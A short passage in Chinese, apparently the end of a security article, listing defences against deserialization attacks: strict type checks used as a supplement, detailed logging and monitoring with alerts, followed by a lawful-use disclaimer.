  • 反序列化之前,先进行严格的数据类型校验。由于校验规则容易被攻击者探索出来,进而容易被绕过,因此防御不能仅依赖这一个手段,但可以作为完整性校验防御方案的补充。
  • 对反序列化过程进行详尽的日志记录,用以安全审计或调查。
  • 监控反序列化过程,在发现疑似反序列化攻击时进行警报。

请遵守法律法规,文章旨在提高安意识和防范策略,严禁非法使用。

发表评论